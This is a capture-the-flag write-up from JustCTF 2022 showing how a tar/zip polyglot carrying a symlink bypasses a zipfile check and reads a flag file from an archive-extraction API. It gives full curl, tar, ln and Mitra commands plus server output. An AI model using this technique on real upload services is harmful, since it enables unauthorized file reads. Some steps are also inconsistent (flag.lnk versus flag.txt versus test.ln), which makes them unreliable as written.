Zip Slip Vulnerability - Justctf 2022
Table of Contents
An overview of the zip slip vulnerability in a python application.
Overview #
Zip Slip is a widespread arbitrary file overwrite vulnerability that typically results in remote code execution. Discovered in June 5th 2018 by the Snyk Research team, it affects thousands of projects.
The vulnerablity affects ecosystems that have no central library offering high level processing of archive files. Several web applications allow users to submit files in compressed format to reduce the size of files being uploaded. Later on, the compressed files get decompressed to retrieve to actual files. Zip Slip aims to target such applications
In a previously concluded CTF - JustCTF 2022, one of the web challenges features a web application vulnerable to the Zip Slip vulnerability. We will look at how the exploit to achieve an arbitrary file read on the server works.
Local Testing #
The challenge consists of a REST API endpoint that receives a zip file via HTTP POST and returns a JSON object containing the contents of every file in the zip.
We are also provided with the back-end code for the REST API linked here that you can run and host the application locally using docker.
Let us upload a zip file and see how the application interacts with it.
Create the zip file
Upload the zip file to the application using curl
curl -X 'POST' \
'http://localhost/extract' \
-H 'accept: application/json' \
-H 'Content-Type: multipart/form-data' \
-F 'file=@test.zip;type=application/zip'
{"test.txt":"hello\n"}%
The server’s response is captured below:
Code Review #
In summary, our application is using 2 key libraries: zipfile and patoolib to validate the uploaded archive and to decompress the archive to retrieve the contents.
In server.py, we begin by importing our key libraries:
from zipfile import is_ zipfile
.
.
.
from patoolib import extract_archive
This block of code is where the magic happens. is_zipfile
is used to validate whether the uploaded file is a zip file, and throws an error if it isn’t.
extract_archive
is used to extract the contents of the zip file and stores the contents in a directory
if not is_zipfile(file_to_extract):
raise HTTPException(status_code=415, detail=f"The input file must be an ZIP archive.")
with TemporaryDirectory(dir=tmpdir) as extract_to_dir:
try:
extract_archive(str(file_to_extract), outdir=extract_to_dir)
except PatoolError as e:
raise HTTPException(status_code=400, detail=f"Error extracting ZIP {file_to_extract.name}: {e!s}")
return read_files(extract_to_dir)
According to the research done by Snyk linked here zipfile
python module is not vulnerable to the zip slip vulnerability since it does not support symlinks as also indicated in the comments.
# make sure the file is a valid zip because Python's
# zipfile doesn't support symlinks (no hacking!)
So how then will we approach the exploit?
It is worth noting that tarfile happens to still be affected. Patool libary being used has a cross format feature allows you to extract any type of archive including the most popular ones such as ZIP, GZIP, TAR and RAR.
Bypassing is_zipfile using polyglots #
The implementation of zipfile
to check if the upload is a valid zip file can be abused in this case. zipfile
module checks for magic bytes in the archive to verify if it a valid zip file.
We can create a polyglot file (a file that is valid for with different file formats), that is both a zip and tar, to pass the zip check, and to perform a ’tar slip’ that will read the contents of our flag from the server.
An awesome tool called Mitra
can create polyglots for us. Linked here
Testing our exploit locally #
1. Creating a symlink file #
echo "flag{test}" > flag.txt #ensure flag.txt is in /server directory
ln -fs /home/saudi/Desktop/CTF/justCTF/web/
symple_unzipper/server/flag.txt flag.lnk #absolute path to the location of the flag
ls -la
lrwxrwxrwx 1 saudi saudi 67 Jul 8 18:39 flag.lnk -> /home/saudi/Desktop/CTF/justCTF/web/symple_unzipper/server/flag.txt
2. Creating a zip file and tar file #
We will create a zip file which will be combined with a tar file to create a tar-zip polyglot. In this case since we are attempting to exploit the vulnerability via the tar file, we shall compress the symlink file as a tar, then combine with a sample zip that will help bypass the check
touch a
zip test.zip -xi a
tar -cvf flag.tar flag.txt
We now have 2 files:
-rw-rw-r-- 1 saudi saudi 171 Jul 8 12:18 test.zip
-rw-rw-r-- 1 saudi saudi 171 Jul 8 12:18 flag.tar
3. Creating the polyglot #
Mitra will come into play now, combining the 2 files:
python3 mitra.py flag.tar test.zip
File 1: TAR / Tape Archive
../test.zip
File 2: Zip
Stack: concatenation of File1 (type TAR) and File2 (type Zip)
Parasite: hosting of File2 (type Zip) in File1 (type TAR)
This results into 2 weird looking files:
-rw-rw-r-- 1 saudi saudi 11264 Jul 8 12:23 'P(200-400)-TAR[Zip].50a7da6d.tar.zip'
-rw-rw-r-- 1 saudi saudi 10411 Jul 8 12:23 'S(2800)-TAR-Zip.b9f05edc.zip.tar'
Let us test if the zip that is a tar can be decompressed via unzip and tar:
- unzip
mv 'S(2800)-TAR-Zip.b9f05edc.zip.tar' payload.tar
unzip payload.tar
Archive: payload.tar
warning [payload.tar]: 10240 extra bytes at beginning or within zipfile
(attempting to process anyway)
extracting: test.txt
- tar
tar -xvf payload.tar
test.ln
As expected the file behaves both as a tar and zip which is pretty cool.
I preferred this simple approach of creating the polyglot
tar -cvf payload.tar flag.txt test.zip
Let us upload this to our local server using curl.
curl -X 'POST' \
'http://localhost/extract' \
-H 'accept: application/json' \
-H 'Content-Type: multipart/form-data' \
-F 'file=@payload.tar;type=application/tar'
{"detail":"Error extracting ZIP payload.tar: Command `['/bin/tar', '--extract', '--file', '/server/uploads/tmpovbgeaw_/payload.tar', '--directory', '/server/uploads/tmpovbgeaw_/tmpsavfbv2m']' returned non-zero exit status 2"}%
Interestingly enough, this fails. The server output gives the error below:
server-server-1 | /bin/tar: test.ln: Cannot change ownership to uid 1000, gid 1000: Operation not permitted
server-server-1 | /bin/tar: Exiting with failure status due to previous errors
server-server-1 | patool: Extracting /server/uploads/tmpovbgeaw_/payload.tar ...
server-server-1 | patool: running /bin/tar --extract --file /server/uploads/tmpovbgeaw_/payload.tar --directory /server/uploads/tmpovbgeaw_/tmpsavfbv2m
server-server-1 | INFO: 172.19.0.1:57988 - "POST /extract HTTP/1.1" 400 Bad Request
The server returns a permissions error. Since the server is running as root we need to modify the permission of the symlink we are uploading so that it runs with the effective permissions of the server
4. Final exploit #
ln -fs /home/saudi/Desktop/CTF/justCTF/web/symple_unzipper/server/flag.txt flag.lnk
#absolute path to the flag in my server directory
echo "test" > test.txt
zip test.zip test.txt
tar --owner=root --group=root -cvf payload.tar flag.txt test.zip
Upload the tar to the server
curl -X 'POST' \
'http://localhost/extract' \
-H 'accept: application/json' \
-H 'Content-Type: multipart/form-data' \
-F 'file=@payload.tar;type=application/tar'
{"test.zip":"UEsDBAoAAAAAACiW6FTGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA/tRyGKPT8hidXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAAAoluhUxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAtIEAAAAAdGVzdC50eHRVVAUAA/tRyGJ1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","flag.txt":"flag{test}\n"}%
The curl request returns content of our flag. We achieved arbitrary file read on the server.
Response from the server
server-server-1 | patool: ... /server/uploads/tmpezs70207/payload.tar extracted to `/server/uploads/tmpezs70207/tmp79dnbr8m'.
server-server-1 | INFO: 172.19.0.1:58136 - "POST /extract HTTP/1.1" 200 OK
Testing remotely #
Curl the server
curl -X 'POST' \
'http://symple-unzipper.web.jctf.pro/extract' \
-H 'accept: application/json' \
-H 'Content-Type: multipart/form-data' \
-F 'file=@payload.tar;type=application/x-tar'
We get the flag from the server.